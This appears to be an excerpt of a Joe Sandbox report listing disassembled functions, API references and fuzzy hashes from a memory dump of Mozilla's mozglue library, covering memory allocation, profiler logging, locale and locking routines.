Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction ID: 5a446591d9664db63465df0601bcf780b2761a0262ced7f2eb7ce6c0ce538875
Opcode Fuzzy Hash: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction Fuzzy Hash: FB31A5317466055BFB00AFA98C45BAE7B79BB41B54F304A18F614FBA80DB70E8508BA1

Function 6C95ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C95ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C95EDCC
CreateFileW.KERNEL32 ref: 6C95EE08
free.MOZGLUE(00000000), ref: 6C95EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C95EE32

Part of subcall function 6C95EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C95EBB5
Part of subcall function 6C95EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C98D7F3), ref: 6C95EBC3
Part of subcall function 6C95EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C98D7F3), ref: 6C95EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C95EDC1

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction ID: f8fcefda8028ca5365f535d4d4c7275449c6d16ec69aea3a88e6b11d8aaeb7d5
Opcode Fuzzy Hash: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction Fuzzy Hash: 1E51E471E053048BDB01DF68D8446EEB7B4AF69318F84842DE85577780E736E998C7E2

Function 6C9CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA565

Part of subcall function 6C9CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CA4BE
Part of subcall function 6C9CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9CA6B6

Strings

z, xrefs: 6C9CA6AE
0, xrefs: 6C9CA5FB

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction ID: 39c2075a9108b021f6ccd9e90dc490614a935261fe4c86eba3e5406684d4ba8f
Opcode Fuzzy Hash: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction Fuzzy Hash: E1411571A097459FC341DF28C480A9EBBE5BF99354F408A2EF49987650EB30E649CB83

Function 6C9578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9D008B), ref: 6C957B89
free.MOZGLUE(?,6C9D008B), ref: 6C957BAC

Part of subcall function 6C9578C0: free.MOZGLUE(?,6C9D008B), ref: 6C957BCF

free.MOZGLUE(?,6C9D008B), ref: 6C957BF2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction ID: 5c69b13714031e60bac5e4748cd1f4d6f840b54876e96ee0871369d76e72af8e
Opcode Fuzzy Hash: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction Fuzzy Hash: BFC1D571E111288BEB24CB28CC90BADB772AF51314F9583A9D41AABBC0C731DF958F51

Function 6C999420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
__Init_thread_footer.LIBCMT ref: 6C99949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C99947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C99946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C999459

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction ID: 0060e0053e48fd227103280c745b42c4851acb221d50019b609d9371d7c825ba
Opcode Fuzzy Hash: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction Fuzzy Hash: 24014C30A049008BDF009B5CD806A4933B99B4673EF1A8537DC0EA7B51D731F5E48957

Function 6C9A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A0F88
GetCurrentThreadId.KERNEL32 ref: 6C9A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9A114B

Part of subcall function 6C998AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9B1563), ref: 6C998BD5

free.MOZGLUE(?), ref: 6C9A1174
free.MOZGLUE(?), ref: 6C9A1186

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction ID: 648c00c2e434485eead290350164773a41767400858ae7ae70d9d001ba757811
Opcode Fuzzy Hash: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction Fuzzy Hash: EB61C0756087409BDB10CF65C88079AB7F5BFE6308F14891DE88957711EB31E59ACB82

Function 6C95B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6AC

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C95B61E), ref: 6C95B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B79A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction ID: b516a2354dfa021fb43a24e7c9b1a939dac2c0a3959cf5535051a4fa64861aff
Opcode Fuzzy Hash: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction Fuzzy Hash: A441B4B2D001159FCB04DF68DC905AEBBB9BF54324F650629E825E7B80E731E9148BE2

Function 6C95EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9D5104), ref: 6C95EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95EFEC
free.MOZGLUE(?), ref: 6C95F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C95F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95F065
moz_xmalloc.MOZGLUE ref: 6C95F072

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction ID: 146f2bb342db8a7aa6bd0efe71a3012a5e293157081bace1c5bacf8673975fb6
Opcode Fuzzy Hash: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction Fuzzy Hash: 4C41D8B1A001059FCB08CF78D8809BE7769AF94328B240228E825D7794EB31E925C7E1

Function 6C9CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CB5F4
__Init_thread_footer.LIBCMT ref: 6C9CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9CB61F
std::_Facet_Register.LIBCPMT ref: 6C9CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB655

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction ID: 5a51aad46e7618017a0a5dad08e710467d91c62202b3c6104c23169ecf2d6adf
Opcode Fuzzy Hash: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction Fuzzy Hash: CE319171B04604CBCB00DFA9C8599AEB7F5FF9A325B250519D902A7780DB31F94ACB92

Function 6C969830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9B7ABE), ref: 6C96985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9B7ABE), ref: 6C9698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C969909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C969918
free.MOZGLUE(?), ref: 6C969975

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction ID: 315f7fbe94da587da728d85a16304f4067f99594be10b55fb17a2c376845603a
Opcode Fuzzy Hash: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction Fuzzy Hash: C471AA746047068FD724CF29C480966BBF5FF4A3287254AADE85A8BF90D731F841CB91

Function 6C96B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE), ref: 6C96B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B896

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction ID: 246f456b76d7412a1ea2c0a98076613406390562ee2cffc32c3731d00e4ffd17
Opcode Fuzzy Hash: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction Fuzzy Hash: 3E519C757046008FDB24CF5AC484A2AB7F5FF89318B69859DE98A97B81D731EC01DB80

Function 6C9A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A1DDA

Part of subcall function 6C9A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9A1F03
Part of subcall function 6C9A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9A1DF2,00000000,00000000), ref: 6C9A1F0C
Part of subcall function 6C9A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9A1DF4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction ID: 069d8256c4beba576eed91c856fefd64cfa7b12fa5074811dcdac2462626f73d
Opcode Fuzzy Hash: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction Fuzzy Hash: B54145B5204B01DFCB10DF69C488A56BBF9FB99714F20442EE95A87B41CB71F854CB91

Function 6C9638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,?,6C963899,?), ref: 6C9638B2
ReleaseSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,6C963899,?), ref: 6C9638C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C963899,?), ref: 6C9638F1
RtlFreeHeap.NTDLL ref: 6C963920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C963899,?), ref: 6C96392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C963899,?), ref: 6C963943
RtlFreeHeap.NTDLL ref: 6C96396E

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction ID: f9de067691d91b87a0a44fd442d7e2c6e8e41b5543c4b44dbf52ae36c0791fc8
Opcode Fuzzy Hash: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction Fuzzy Hash: C721BF72600A10DFE7209F26C880B96BBA9FF55328F258469D95A97F90C730E985CB91

Function 6C9984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985AC

Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99767F
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C997693
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985B2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction ID: b7c9933464b9c951249474b6a6b36f53743d4bbb47717c3bf412c8ba39d925c4
Opcode Fuzzy Hash: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction Fuzzy Hash: 48218E742006019FDB18DB28C888A6AB7B9AF9430DF28492DE55BD3B41DB31F958CB56

